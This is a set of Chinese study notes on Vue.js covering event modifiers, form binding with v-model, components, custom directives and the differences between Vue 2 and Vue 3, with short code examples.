event.type: 事件的类型(如 click, mouseover 等)。event.preventDefault(): 阻止事件的默认行为(如果事件可被取消)。event.stopPropagation(): 停止事件冒泡,防止事件从触发元素向上冒泡到父元素。e.clientX和e.clientY: 提供了事件发生时,鼠标在视口中的水平和垂直位置。e.key和e.keyCode:触发事件的按键名称和触发事件的键的数值代码。注意,keyCode 属性已被弃用,且不建议在新代码中使用,因为不同浏览器可能会有不一致的实现。
- 注意:e和event都可以,要统一
- 绑定方法method
- 定义和引用:
v-on:xxx="method"<=>@xxx="method"- 不含参:
- 完整绑定:
v-on:xxx="method",其中xxx为事件类型包括click、mouseover、keyup、keydown、dblclick、mousemove等,method为methods方法对象中的方法 - 简写绑定:
@xxx="method" - 有event 定义方法:在方法内能直接访问事件对象event;
methods:{ showInfo(event){ }} - 无event 定义方法:不能访问;
showInfo(){ } - 调用方法:
- 实例内部调用:
this.method(); - 实例外部调用:
app.methd();
- 实例内部调用:
- 完整绑定:
- 含参:
- 绑定:
@click="showInfo2($event,var)",事件对象可以通过特殊变量$event在模板中被访问和传递到方法中 - 定义方法:
methods:{ showInfo2(event,var){ }} - 调用方法:
- 实例内部调用:
this.method(val); - 实例外部调用:
app.methd(val);
- 实例内部调用:
- 绑定:
- 不含参:
- 定义和引用:
- 点击事件@click
- 定义:
@click="method" - 事件修饰符:
@click.stop="showInfo"- ★ prevent:阻止默认事件
- 链接a的跳转:
<a href="http://www.atguigu.com" @click.prevent="showInfo">点我提示信息</a> - 表单form的提交:
<form @submit.prevent="demo">
- 链接a的跳转:
- ★ stop:阻止冒泡,阻止事件向上冒泡,只触发当前方法,不触发包括它的元素身上绑定的方法,如
<div class="demo1" @click="showInfo"> <button @click.stop="showInfo">点我提示信息</button> </div> - ★once:触发1次,事件只触发一次,再次触发不会有任何反应。
- capture:捕获模式,使得事件处理器在捕获模式下被触发,即事件处理函数会从外层向内层传播,先处理外层的点击事件,再处理内层的点击事件。
- self:只有事件处理函数event.target是当前操作的元素时才触发事件,即只有当点击当前元素,而不是它的子元素时,事件处理函数才会被触发。
- passive:立即执行,事件的默认行为立即执行,无需等待事件回调执行完毕。这告诉浏览器你不会调用preventDefault()来阻止默认事件行为,这可以提高滚动性能等场景的响应性。
- ★ prevent:阻止默认事件
- 键盘事件@keydown
- 定义:
@keydown="method" - 按键修饰:
@keydown.xxx="method"- 常用按键别名:
- 回车enter、退出esc、空格space、上 up、下down、左left、右right
- 删除delete (捕获“删除”和“退格”键)、换行tab (特殊,必须配合keydown去使用)
- 系统修饰键(用法特殊):ctrl、alt、shift、meta
- 配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。
- 配合keydown使用:正常触发事件。
- Vue未提供别名的按键:
- 用按键原始的key值去绑定,但注意要转为kebab-case(短横线命名)
- 使用keyCode去指定具体的按键(不推荐)
- 定制按键别名(全局):
Vue.config.keyCodes.name = keycode
- 常用按键别名:
- 注意:
- 事件的回调需要配置在methods对象中,最终会在vm上;
- methods中配置的函数,不要用箭头函数!否则this就不是vm了;
- methods中配置的函数,都是被Vue所管理的函数,this的指向是vm 或 组件实例对象;
@click="demo"和@click="demo($event)"效果一致,但后者可以传参;
- 所有事件类型:
- 鼠标事件:
- click:用户点击元素。
- dblclick:用户双击元素。
- mousedown:用户按下鼠标按钮。
- mouseup:用户释放鼠标按钮。
- mousemove:鼠标在元素上移动。
- mouseover:鼠标移到一个元素上方。
- mouseout:鼠标从一个元素移开。
- mouseenter:鼠标进入元素边界(不冒泡)。
- mouseleave:鼠标离开元素边界(不冒泡)。
- 键盘事件:
- keydown:用户按下键盘上的任意键。
- keyup:用户释放键盘上的按键。
- keypress:字符键被按下(已废弃,不推荐使用)。
- 表单事件
- submit:表单提交。
- change:表单元素的内容改变。
- input:用户输入到<input>、<textarea>等元素时。
- focus:元素获得焦点。
- blur:元素失去焦点。
- 触摸事件
- touchstart:用户触摸屏幕。
- touchmove:用户在屏幕上滑动。
- touchend:用户停止触摸屏幕。
- touchcancel:系统取消触摸事件。
- 滚轮事件
- wheel:用户使用鼠标滚轮。
@wheel="func"
- wheel:用户使用鼠标滚轮。
- UI事件
- load:页面或图像加载完成。
- unload:用户离开页面。
- resize:浏览器窗口大小变化。
- scroll:滚动页面或元素。
- 进度事件
- progress:用于追踪资源加载过程(如<audio>、<video>、XMLHttpRequest)的进度。
- 拖放事件
- drag:元素被拖动。
- dragstart:用户开始拖动元素。
- dragend:拖动操作结束。
- drop:拖动的元素或选中的文件被释放到目标区域。
- 动画和过渡事件
- transitionend:CSS过渡完成。
- animationstart:CSS动画开始。
- animationend:CSS动画结束。
- animationiteration:CSS动画重复播放时。
6-表单与v-model
6-1 表单form与输入input
- <form>表单
- 定义:<form>是HTML中用于收集用户输入的一种标签,允许用户在表单中输入数据,比如文本、选择、勾选等。表单可以包含输入字段(<input>)、复选框(<checkbox>)、单选按钮(<radio>)、下拉选择框(<select>)、按钮(如<button>或<input type="submit">)等元素。用户输入的数据可以被一次性提交到服务器上的一个页面进行处理,比如注册、登录、搜索等操作。
- 语法:
<form action="/submit-form" method="post"></form>
-action:定义提交表单数据时数据的目的地(一个URL)。当表单提交时,用户输入的数据会发送到action属性指定的URL地址。
-method:指定数据提交到服务器时所使用的HTTP方法(GET或POST)。
- 获取GET:通过URL参数传递数据,适用于搜索或过滤操作,但不适合传递敏感数据。
- 请求POST:通过请求体传递数据,适用于更新或提交敏感信息。
- <input>输入
- 定义:用于创建用户可以输入数据的输入字段。它是构建网页表单的基本组件之一,允许网站开发者收集用户信息,比如姓名、邮箱地址、密码等。<input>元素非常灵活,可以通过不同的类型(type属性)来支持多种数据输入方式,包括文本、密码、数字、日期等。
- 语法:
<input type="text" name="username" placeholder="Entername">- type:输入内容的内容,包括text文本、password密码、number数字、date日期、radio单选、checkbox复选、submit提交、reset重置、emial邮件、url链接、range滑块、color颜色、
- text:创建一个单行文本框,用户可以输入文本。这是默认类型。
- password:创建一个密码字段,输入的文本会被遮蔽,适用于输入密码。
- radio:创建单选按钮,允许用户从多个选项中选择一个。
- checkbox:创建复选框,用户可以选择一个或多个选项。
- submit:创建一个提交按钮,用于将表单数据发送到服务器。
- reset:创建一个重置按钮,将表单中的所有字段重置为其默认值。
- email:创建用于输入电子邮件地址的文本字段,具有基本的格式验证。
- number:创建用于输入数字的字段,可以设置最大值、最小值和步长。
- date:允许用户选择日期,显示为日历控件。
- url:创建用于输入URL的文本字段,具有基本的格式验证。
- range:创建滑块,允许用户在指定的范围内选择一个值。
- color:创建颜色选择器,允许用户选择一个颜色。
- name:字段名称,提交表单时,【作为键(key)】发送到服务器。
- value:输入字段的值,也可以设置为默认值。
- placeholder:灰色的占位提示文字,告诉用户应该在该字段中输入什么样的信息。
- required:表示输入字段必须在提交前被填写。
- disabled:禁用输入字段,用户无法进行交互。
- type:输入内容的内容,包括text文本、password密码、number数字、date日期、radio单选、checkbox复选、submit提交、reset重置、emial邮件、url链接、range滑块、color颜色、
- <form>表单+<input>输入
- 定义:一起使用来创建用于收集用户数据的表单。通过将<input>元素放置在<form>元素内部,开发者可以定义用于提交给服务器的一组输入字段。当用户填写表单并提交时,表单中的数据(来自<input>元素)会被发送到<form>的action属性指定的URL,使用<form>的method属性指定的HTTP方法(通常是GET或POST)。
- 结合方法:
- 创建表单:使用<form>元素定义表单的开始和结束。设置action属性为数据接收页面的URL,method属性为数据发送方法(GET或POST)
- 添加输入字段:在<form>元素内部,使用<input>元素添加不同类型的输入字段,如文本、密码、电子邮件等。为每个\Minput>指定name属性,以便在提交表单时,服务器能识别各个字段的数据。
- 提交按钮:通常会在表单内部包含一个type="submit"的或元素,用于触发表单的提交。
- 举例:
<form action="/submit-form" method="post">
用户名:<input type="text" id="username" name="username" required><br><br>
<input type="submit" value="提交">
</form>
6-2 表单与指令
- form表单提交:
- 正常提交:
<form action="/submit-form" method="post"> - 阻止提交:
<form @submit.prevent="demo"><=><form v-on:submit.prevent="demo">,监听submit事件,.prevent修饰符调用event.preventDefault()来阻止表单的默认提交行为,即不会进行页面跳转。而是执行demo方法,该方法在Vue实例的methods对象中定义。
- input输入数据绑定:
- 输入数据v-model双向绑定:
- 不绑定:
<input type="text" name="username" placeholder="Enter username">,此时键key是name,收集的数据值是value - 绑定:
- 语法:
<input type="text" v-model="username" placeholder="Enter username">,绑定的是name,v-model收集的是value值,用户输入的就是value值。- 文本text:
<input type="text" v-model.trim="userInfo.account"> - 密码password:
<input type="password" v-model="userInfo.password"> - 数字number:
<input type="number" v-model.number="userInfo.age">,.number修饰符确保输入值被转换为数值类型。 - 下拉选择select:
<input type="select" v-model="userInfo.city"> - 文本框textarea:
<input type="textarea" v-model.lazy="userInfo.other"/>
- 文本text:
- 特殊:
- 单选radio:
<input type="radio" name="sex" v-model="userInfo.sex" value="male">,v-model收集的是value值,且要给标签配置value值(表明单选的内容)。 - 复选框checkbox:
- 没有配置input的value属性:
<input type="checkbox" v-model="userInfo.agree">,收集的就是checked(勾选 or 未勾选,是布尔值) - 配置input的value属性:
<input type="checkbox" v-model="userInfo.hobby" value="study"><input type="checkbox" v-model="userInfo.hobby" value="game">- v-model的初始值是非数组:
hobby:'',那么收集的就是checked(勾选 or 未勾选,是布尔值) - v-model的初始值是数组:
hobby:[],那么收集的的就是value组成的数组
- v-model的初始值是非数组:
- 没有配置input的value属性:
- 单选radio:
- 语法:
- 修饰符:
- lazy:失去焦点再收集数据,延迟数据同步到失焦或回车提交,而不是每次输入时(适用于other字段)。
- number:输入字符串转为有效的数字,确保输入值作为数字而不是字符串处理(适用于age字段)。
- trim:输入首尾空格过滤,自动去除用户输入的前后空白字符(适用于account字段)
7-组件component
7-1 非单文件组件
- 组件
- 定义:组件可以简单理解为一个封装了特定功能和样式的自定义元素,含有自己的结构(HTML)、样式(CSS)和行为(JavaScript),它允许开发者将用户界面(UI)分解为独立可重用的部分,每个部分管理自己的内容和行为。
- Vue中使用组件的三大步骤:定义extend→注册component→使用</>
- ①定义组件(创建组件):使用
Vue.extend(options)创建options和new Vue(options)时传入的那个options几乎一样,但也有点区别:el不要写(最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器);data必须写成函数( 避免组件被复用时,数据存在引用关系)- 备注:使用template可以配置组件结构。
- ②注册组件:
- 局部注册:只能在该Vue实例的模板中使用。
- 全局注册:在任何新创建的Vue实例的模板中都可以使用,
- 语法:
Vue.component('组件名',组件),如Vue.component('hello',hello) - 简写:
const school = Vue.extend(options)<=>const school = options
- 语法:
- ③使用组件(写组件标签):
<school></school>
- ①定义组件(创建组件):使用
const 组件缩写 = Vue.extend({
name: '组件名',
template:` //组件有自己的模板
<div class="demo">
<h2>{{var}}</h2>
<button @click="show">点我提示</button>
</div>
`,
data(){ //模板中数据来自于组件中的【data函数】,该函数返回一个对象,包含var属性
return { var:'val', }
},
methods: { //模板中方法来自于组件中的methods对象
show(){ alert(this.var) }
},
})
new Vue({
el:'#root',
data:{ msg:'你好啊!' },
components:{ //靠new Vue的时候传入components选项
school:s, //定义为s的组件注册为school,即用<school/>标签
student
}})
- 几个注意点:
- 关于组件名:
- 一个单词组成:
- 第一种写法(首字母小写):school
- ★ 第二种写法(首字母大写):School
- 多个单词组成:
- 第一种写法(kebab-case命名):my-school
- ★ 第二种写法(CamelCase命名):MySchool (需要Vue脚手架支持)
- 备注:
- 组件名尽可能回避HTML中已有的元素名称,例如:h2、H2都不行。
- 可以使用name配置项指定组件在开发者工具中呈现的名字。
- 一个单词组成:
- 关于组件标签:
- 第一种写法:
<school></school> - 第二种写法:
<school/> - 备注:不用使用脚手架时,会导致后续组件不能渲染。
- 第一种写法:
- 关于组件名:
- 组件嵌套
- 嵌套的子组件:正常定义、注册,只是在根组件的定义中注册、使用
const student = Vue.extend({ //定义student组件
name: 'student',
template:`
div><h2>学生姓名:{{name}}</h2></div>
`,
data(){
return { name:'尚硅谷', }
}
})
- 根组件:定义时需要使用</>、注册components子组件,注册时需要声明根组件
const school = Vue.extend({
name: 'school',
template:`
<div><student></student></div>
`,
data(){ return { }},
components:{
student
}})
new Vue({
template:'<app></app>', //通过template属性指定了要渲染的根组件为<app></app>
el:'#root', //通过el属性关联到id为root的DOM元素
components:{app} //注册组件(局部),使得app组件及其嵌套的子组件可以在页面上被渲染出来。
})
- 关于VueComponent:
- school组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的。
- 我们只需要写<school/>或<school></school>,Vue解析时会帮我们创建school组件的实例对象,即Vue帮我们执行的:
new VueComponent(options)。 - 特别注意:每次调用Vue.extend,返回的都是一个全新的VueComponent!!!!
- 关于this指向:
- 组件配置中:data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【VueComponent实例对象】。
- new Vue(options)配置中:data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【Vue实例对象】。
- VueComponent的实例对象,以后简称vc(也可称之为:组件实例对象)。Vue的实例对象,以后简称vm。
- 内置关系:
- 一个重要的内置关系:
VueComponent.prototype.__proto__ === Vue.prototype - 为什么要有这个关系:让组件实例对象(vc)可以访问到 Vue原型上的属性、方法。
7-2 单文件组件
- 单文件组件
- 加工:webpack、脚手架
- 定义:单文件组件(Single File Components,简称SFC)是Vue.js中一种特别的文件格式,其文件扩展名通常为.vue。单文件组件使得开发者能够在一个文件中封装和组织与一个组件相关的所有内容,包括其HTML模板、JavaScript逻辑以及CSS样式。这种封装方式提高了组件的可维护性和可重用性,是Vue.js推荐的组件开发方式。
- 结构:一个典型的.vue单文件组件包含三个部分
- <template>标签:包含组件的HTML模板。这是组件的结构部分,定义了组件的HTML输出。
- <script>标签:包含组件的JavaScript逻辑。这是组件的交互行为部分,包括数据、属性、方法、生命周期钩子等。
- <style>标签:包含组件的CSS样式。这是组件的表现部分,用于定义组件的样式。标签可以包含scoped属性,该属性确保样式只应用于当前组件,不影响其他组件。
<template>
<!--组件结构-->
</template>
<script>
//组件交互
</script>
<style>
/*组件样式*/
</style>
- 设置暴露:三种暴露方式,用默认暴露
<script>
export default {
name: 'Name',
data() {
return {
title: 'Hello, Vue!'
}
}
}</script>
- App.vue文件
- 定义:是单文件组件(Single File Component, SFC)的一种实例。App.vue通常作为应用的根组件,所有其他组件都是直接或间接地嵌套在App.vue中,还常常用来定义全局样式和基础样式。提供了一个中央位置,用于组织和调度应用中的各个部分,包括导航、内容显示和底部信息等。
- 语法:
<template>
<div>
<School></School> <!--使用-->
<Student></Student>
</div>
</template>
<script>
import School from './School.vue' //引入组件
import Student from './Student.vue'
export default {
name:'App',
components:{ //注册
School,
Student
}
}
</script>
- main.js
- 定义:main.js(或main.ts)文件会负责创建Vue实例,并将App.vue作为模板挂载到HTML的根元素上。
import App from './App.vue'
new Vue({ //创建vm实例
el:'#root',
template:`<App></App>`,
components:{ App },
})
- index.html
- 定义
7-3 Vue cli
7-4 脚手架目录
8-自定义指令v-xxx
- 元素element
- 定义:自定义指令所绑定的原生DOM元素。这意味着通过element参数,你可以直接访问和操作DOM。你可以改变元素的样式、设置元素的属性、监听元素的事件等。这个直接操作DOM的能力,使得自定义指令非常强大,尤其是在需要封装DOM操作或优化性能的场景中。
- 属性:DOM 元素作为 JavaScript 中的对象,拥有许多属性和方法,允许开发者通过脚本来访问和操作网页的结构、样式和内容。
- (常见) element.value:用于获取或设置表单元素(如<input>, <select>, <textarea>等)的值。在Vue的自定义指令中,你可能会用它来初始化元素的值(在bind钩子中),或者根据Vue实例的数据更新元素的值(在update钩子中)。
- element.childNodes: 返回元素的子节点列表。
- element.className: 获取和设置元素的 class 属性。
- element.id: 获取和设置元素的 id 属性。
- element.innerHTML: 获取和设置元素内部的 HTML 内容。
- element.outerHTML: 获取和设置元素包括其本身的完整 HTML。
- element.textContent: 获取和设置元素内部的文本内容。
- element.style: 用于获取和设置元素的样式。
- element.parentElement: 返回元素的父元素。
- element.children: 返回元素的子元素集合,不包括文本和注释节点。
- element.attributes: 返回元素的属性集合。 - 方法:
- element.addEventListener(event, function, useCapture): 添加事件监听器。
- element.appendChild(childElement): 向元素添加一个新的子元素。
- element.removeChild(childElement): 从元素中删除一个子元素。
- element.replaceChild(newChild, oldChild): 替换一个子元素。
- element.getAttribute(attributeName): 获取元素的指定属性值。
- element.setAttribute(attributeName, value): 设置元素的指定属性值。
- element.removeAttribute(attributeName): 删除元素的指定属性。
- element.classList.add(className): 添加一个或多个类名到元素的 class 属性中。
- element.classList.remove(className): 从元素的 class 属性中移除一个或多个类名。
- element.classList.toggle(className): 切换类名的存在。
- element.querySelector(selector): 返回第一个匹配指定选择器的子元素。
- element.querySelectorAll(selector): 返回所有匹配指定选择器的子元素集合。
- (常见) element.focus(): 使元素获得焦点。如果这个元素可以被聚焦(比如输入框、文本域或者有tabindex属性的元素),浏览器会将光标移动到该元素上,并且如果是输入字段,用户可以直接开始输入。 - element.blur(): 使元素失去焦点。
- binding
- 定义:binding是一个对象,包含了自定义指令的多个属性,这些属性提供了绑定值的相关信息。通过binding对象,自定义指令可以访问到绑定的值和其他描述性信息,这使得开发者能够根据这些信息执行条件逻辑或动态地更新DOM。
- 属性:
- (常见) value:绑定给指令的值,例如v-my-directive="someValue"中binding.value就是someValue的当前值。
- oldValue:指令绑定的前一个值,仅在update和componentUpdated钩子中可用。这使得你可以比较值是否发生了变化。
- expression:字符串形式的指令表达式。例如,在v-my-directive="1 + 1"中,expression是"1 + 1"。
- arg:传给指令的参数。例如,在v-my-directive:foo中,arg是"foo"。
- modifiers:一个包含修饰符的对象。如果指令像这样使用修饰符v-my-directive.foo.bar,则modifiers对象将是{ foo: true, bar: true }。
- 自定义指令directive
- 定义:自定义指令允许定义一套自己的指令,用于对DOM元素进行底层操作。这些指令可以应用于HTML模板中的元素上,是Vue中处理DOM操作的一种高级方法,尤其适用于那些Vue的内置指令(如v-model、v-if、v-for等)无法满足的场景。
- 适用:主要用于直接操作DOM,比如设置焦点focus、绑定事件监听器、实现复杂的动画效果等。这些操作往往涉及到底层的DOM操作或是需要外部库的支持,而不仅仅是简单的数据绑定或结构控制。
- 语法:
- 局部指令:new Vue({ directives:{ 指令名(element,binding):{配置对象} } }),在指令绑定到元素时和指令所在的模板被重新解析时,指令被调用,或者使用钩子new Vue({ directives{ 指令名:{回调函数} } })
new Vue({
el:'#root',
data:{ },
directives:{ //定义自定义指令
name1(element,binding){
console.log('name1',this) //注意此处的this是window
},
name2:{ //自定义指令,含回调函数/钩子
bind(element,binding){ //指令与元素成功绑定时(一上来)},
inserted(element,binding){ //指令所在元素被插入页面时 },
update(element,binding){ //指令所在的模板被重新解析时 }
}
}
})
- 全局指令:Vue.directive('name',{ 配置对象 }) 或
Vue.directive('name',{ 回调函数 })`
`Vue.directive('fbind',{
bind(element,binding){ //指令与元素成功绑定时(一上来)
element.value = binding.value //将元素的值设置为绑定值。
},
inserted(element,binding){ //指令所在元素被插入页面时
element.focus() //使元素获得焦点。
},
update(element,binding){ //指令所在的模板被重新解析时
element.value = binding.value //再次用来更新元素的值
}})
- 备注:
- 定义指令时不加v-,但使用指令时要加v-;
- 指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。
- 钩子函数:配置对象中的回调函数,定义了指令在其生命周期不同阶段应该执行的函数。
- (常用)bind:只调用一次,指令第一次与元素成功绑定时调用,适用于设置初始值。
- 语法:
bind(element, binding){...},element表示为指令绑定的那个DOM元素,binding是一个对象,包含了一些有用的属性,如指令的绑定值value
- 语法:
- (常用)inserted:被绑定元素被插入页面(父节点)时调用,适合操作DOM元素或执行需要元素在DOM中的任务。
- 语法:
inserted(element, binding){...}
- 语法:
- (常用)update:指令所在模板结构被重新解析时调用,或者说所在组件的VNode更新时调用,但可能发生在其子VNode更新之前。
- 语法:
update(element,binding){...}
- 语法:
- componentUpdated:指令所在组件的VNode及其子VNode全部更新后调用。
- unbind:只调用一次,指令与元素解绑时调用。
- (常用)bind:只调用一次,指令第一次与元素成功绑定时调用,适用于设置初始值。
9-Render函数
10-webpack
11-插件
12-axios
13-vuex
14-vue-router
15-vue UI组件库
Vue 3.0
1-基础
1-1 概念
- Vue 3.0
- 定义:
- vue2和vue3区别 => vue2和vue3的区别【面试】
- 汇总:①生命周期:vue3大部分生命周期钩子名称上加
on,功能类似vue2,在组合式API(Composition API)中使用生命周期钩子时需要先用import引入;②多根节点:vue2不支持,需要用div包裹为单根节点,vue3支持多根节点;③API风格:vue2支持选项api,vue3支持组合式api;④异步组件:vue3支持在模板中设置异步组件,允许程序在等待加载完成前渲染兜底的内容;⑤响应式原理:响应式原理基础是Object.defineProperty,直接在一个对象上定义新的属性或修改现有的属性,并返回对象,vue3响应式原理基础是 Proxy - 生命周期:
- vue2:
beforeCreate->created->beforeMount->mounted->beforeUpdate->updated->beforeDestroy->destroyed;在选项API(Options API)中可以直接调用生命周期钩子 - vue3:
onBeforeMount->onMounted->onBeforeUpdate->onUpdated->onBeforeUnmount->onUnmounted,大部分生命周期钩子名称上加on,功能类似;在组合式API(Composition API)中使用生命周期钩子时需要先引入
- vue2:
// vue2
<script>
export default {
mounted() { //直接调用生命周期钩子
},
}
</script>
// vue3
<script setup> //setup 是围绕 beforeCreate 和 created 生命周期钩子运行的,所以此时不需要显式地去定义。
import { onMounted } from 'vue'; //使用前需引入生命周期钩子
onMounted(() => {
});
onMounted(() => { // 可将不同的逻辑拆开成多个onMounted,依然按顺序执行,不会被覆盖
});
</script>
- 多根节点
- vue2:模板
<template>中只能存在一个根节点,如果使用多个根节点就会报错,需要用<div>包裹 - vue3:支持多个根节点,即fragment
- vue2:模板
// vue2中不支持多根节点
<template>
<header></header>
<main></main>
<footer></footer>
</template>
// vue2只能存在一个根节点,需要用一个<div>来包裹着
<template>
<div>
<header></header>
<main></main>
<footer></footer>
</div>
</template>
//vue3支持多根节点
<template>
<header></header>
<main></main>
<footer></footer>
</template>
- 组合式API
- vue2:选项API(Options API),一个逻辑会散落在文件的不同位置(data、props、computed、watch、生命周期钩子等),导致代码的可读性变差。当需要修改某个逻辑时,需要上下来回跳转文件位置。
- vue3:组合式API(Composition API),可将同一逻辑的内容写到一起,增强了代码的可读性、内聚性,还支持逻辑复用性方案。
- 异步组件Suspense
- vue2:不支持
- vue3:新增异步Suspense组件,允许程序在等待异步组件加载完成前渲染兜底的内容,如 loading ,使用户的体验更平滑。需在模板中声明,并包括两个命名插槽:default 和 fallback。Suspense 确保加载完异步内容时显示默认插槽,并将 fallback 插槽用作加载状态。
<tempalte>
<suspense>
<template #default> //List 组件未加载完成后,显示自身(即 default 插槽内容)
<List />
</template>
<template #fallback> //List 组件未加载完成前,显示 Loading...(即 fallback 插槽内容)
<div>
Loading...
</div>
</template>
</suspense>
</template>
- teleport
- vue2:不支持
- vue3:新增teleport组件,可将部分 DOM 移动到 Vue app 之外的位置
<button @click="dialogVisible = true">显示弹窗</button>
<teleport to="body"> //直接移动到了body标签下
<div class="dialog" v-if="dialogVisible">
我是弹窗
</div>
</teleport>
- TypeScript支持
- vue2:Options API 中 option 是个简单对象,而 TypeScript 是一种类型系统,面向对象的语法,不是特别匹配;需要vue-class-component强化vue原生组件,也需要vue-property-decorator增加更多结合Vue特性的装饰器,写法比较繁琐
- vue3:Vue3 由 TypeScript 重写,相对于 Vue2 有更好的 TypeScript 支持
- 响应式原理
- vue2:响应式原理基础是Object.defineProperty,直接在一个对象上定义新的属性或修改现有的属性,并返回对象;
- 缺点:由于无法监听对象或数组新增、删除的元素
- 改善:
- 针对常用数组原型方法push、pop、shift、unshift、splice、sort、reverse进行了hack处理
- 提供Vue.set监听对象、数组新增属性。
- 对象的新增/删除响应:new个新对象,新增则合并新属性和旧对象,删除则将删除属性后的对象深拷贝给新对象。
- vue3:响应式原理基础是 Proxy,通过第2个参数 handler 拦截目标对象的行为,相较于 Object.defineProperty提供语言全范围的响应能力,消除了局限性。
- vue2:响应式原理基础是Object.defineProperty,直接在一个对象上定义新的属性或修改现有的属性,并返回对象;
//vue2
let obj = {};
let name = 'leo';
Object.defineProperty(obj, 'name', {
enumerable: true, // 可枚举(是否可通过 for...in 或 Object.keys() 进行访问)
configurable: true, // 可配置(是否可使用 delete 删除,是否可再次设置属性)
// writable 和 value 与 getter 和 setter 不共存
// value: '', // 任意类型的值,默认undefined
// writable: true, // 可重写
get() {
return name;
},
set(value) {
name = value;
}
});
//vue2源码,略删减
function defineReactive(obj, key, val) {
// 一 key 一个 dep
const dep = new Dep()
// 获取 key 的属性描述符,发现它是不可配置对象的话直接 return
const property = Object.getOwnPropertyDescriptor(obj, key)
if (property && property.configurable === false) { return }
// 获取 getter 和 setter,并获取 val 值
const getter = property && property.get
const setter = property && property.set
if((!getter || setter) && arguments.length === 2) { val = obj[key] }
// 递归处理,保证对象中所有 key 被观察
let childOb = observe(val)
Object.defineProperty(obj, key, {
enumerable: true,
configurable: true,
// get 劫持 obj[key] 的 进行依赖收集
get: function reactiveGetter() {
const value = getter ? getter.call(obj) : val
if(Dep.target) {
// 依赖收集
dep.depend()
if(childOb) {
// 针对嵌套对象,依赖收集
childOb.dep.depend()
// 触发数组响应式
if(Array.isArray(value)) {
dependArray(value)
}
}
}
}
return value
})
// set 派发更新 obj[key]
set: function reactiveSetter(newVal) {
...
if(setter) {
setter.call(obj, newVal)
} else {
val = newVal
}
// 新值设置响应式
childOb = observe(val)
// 依赖通知更新
dep.notify()
}
}
- API风格
- 选项APIOptions API:
- 定义:
- 语法:使用选项对象定义组件的逻辑,例如data、methods和mounted。由选项定义的属性在 this 内部函数中公开,指向组件实例
<template>
<button @click="increment">count is: {{ count }}</button>
</template>
<script>
export default {
data() {
return {
count: 0
}
},
methods: {
increment() {
this.count++;
}
},
mounted() {
console.log(`The initial count is ${this.count}.`);
}
}
</script>
- 组合APIComposition API:
- 定义:
- 语法:使用导入的 API 函数定义组件的逻辑
<template>
<button @click="increment">Count is: {{ count }}</button>
</template>
<script setup>
import { ref, onMounted } from 'vue';
const count = ref(0);
function increment() {
count.value++;
}
onMounted(() => {
console.log(`The initial count is ${count.value}.`);
})
</script>